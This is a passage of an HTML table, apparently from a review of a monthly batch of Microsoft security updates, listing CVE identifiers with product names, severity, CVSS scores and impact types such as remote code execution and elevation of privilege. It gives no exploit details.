  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
